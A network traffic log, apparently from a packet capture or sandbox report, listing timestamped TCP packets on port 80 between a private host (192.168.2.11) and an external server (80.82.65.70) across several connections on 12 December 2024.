Dec 12, 2024 16:48:08.117844105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.117955923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.118005037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.118633986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.118772030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.118822098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.119395971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.119527102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.119585037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.119585037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.120166063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.120265961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.120311022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.121031046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.121222973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.121272087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.121750116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.121814966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.121857882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.121897936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.122524023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.122592926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.122920990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.122931957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.123348951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.123441935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.123445034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.123492002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.124072075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.124103069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.124150038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.124906063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.124975920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.124986887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.125053883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.125749111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.125825882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.125885963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.126435995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.126486063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.126519918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.126566887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.127365112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.127423048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.127610922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.127696991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.128030062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.128078938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.128110886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.128176928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.128820896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.128902912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.128953934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.129575968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.129690886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.129719973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.129775047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.130333900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.130379915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.130438089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.130480051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.194545984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.194628954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.194641113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.194695950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.194860935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.195018053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.195055008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.195086002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.195200920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.195328951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.195838928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.195945978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.195975065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.196058989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.196580887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.196696997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.196727037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.196774960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.197386980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.197499037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.197684050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.198168993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.198244095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.198458910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.199068069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.199210882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.199253082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.199753046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.199826002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.199882984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.200517893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.200532913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.200573921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.201272964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.201334000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.201340914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.201991081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.202078104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.202193975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.202234030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.202857971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.202960014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.203011036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.203644037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.203711033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.204056978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.204102039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.204454899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.204677105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.204703093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.204721928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.205203056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.205296040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.205328941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.205393076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.205986977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.206029892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.206099987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.206219912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.206770897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.206862926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.206918955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.207566023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.207683086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.207737923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.208378077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.208507061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.208534956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.208667040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.209119081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.209254026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.209258080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.209295988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.209928989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.210004091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.210026026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.210063934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.210688114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.210777998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.210823059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.211483002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.211559057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.211613894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.211678982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.212225914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.212265968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.212348938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.212392092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.213182926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.213243961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.213291883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.213865995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.213999033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.214107990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.214693069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.214814901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.214862108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.215476990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.215631008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.215718985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.216222048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.216265917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.216295958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.216424942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.217003107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.217044115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.217096090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.272181988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.272259951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.272298098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.272370100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.272452116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.272567034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.272639036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.272687912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.273251057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.273386002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.273439884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.274032116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.275558949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.308134079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.308249950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.308439016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.308506012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.308670998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.308733940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.309279919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.309367895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.309400082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.310039997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.310102940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.310112953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.310148954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.310856104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.310930014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.310981035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.311661005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.311764002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.311820030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.312441111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.312489033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.312519073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.313149929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.313184977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.313318968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.313370943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.313962936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.314150095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.314197063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.314804077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.315063000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.315124035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.315663099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.315748930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.315778017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.316550016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.316626072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.316629887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.316673040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.317173004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.317224979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.317305088 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.317346096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.317893982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.318006039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.318013906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.318067074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.318658113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.318720102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.318753958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.318804026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.319740057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.319869041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.319921017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.320228100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.320331097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.320389032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.321022987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.321146965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.321202993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.321789980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.321904898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.321969032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.322767973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.322776079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.322824001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.386831999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.386955023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.386996031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.387046099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.387134075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.387211084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.387331009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.387953043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.388138056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.388191938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.388741016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.388799906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.388925076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.389611959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.389676094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.389796972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.389976025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.390286922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.390491962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.390574932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.391064882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.391199112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.391249895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.391860962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.391968966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.391997099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.392045975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.392694950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.392704010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.392770052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.393476963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.393552065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.393589973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.394243002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.394299030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.394324064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.394366980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.395040989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.395061970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.395150900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.395791054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.395963907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.396013975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.396599054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.396655083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.396676064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.397456884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.397502899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.397531033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.397557974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.398173094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.398214102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.398271084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.398921967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.398978949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.399032116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.399687052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.399832964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.399848938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.399874926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.400443077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.400496960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.400554895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.400608063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.410885096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.530539989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:10.688679934 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:10.808549881 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:10.808715105 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:10.812932014 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:10.932728052 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:12.146337986 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:12.146400928 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:12.146436930 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:12.146472931 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:12.146517992 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:12.146560907 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:14.557378054 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:14.557881117 CET	49858	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:14.677558899 CET	80	49858	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:14.677634001 CET	49858	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:14.677684069 CET	80	49851	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:14.677759886 CET	49851	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:16.637008905 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:16.756810904 CET	80	49864	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:16.759705067 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:16.759825945 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:16.879491091 CET	80	49864	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:18.094893932 CET	80	49864	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:18.095570087 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.155759096 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.156333923 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.275958061 CET	80	49864	80.82.65.70	192.168.2.11
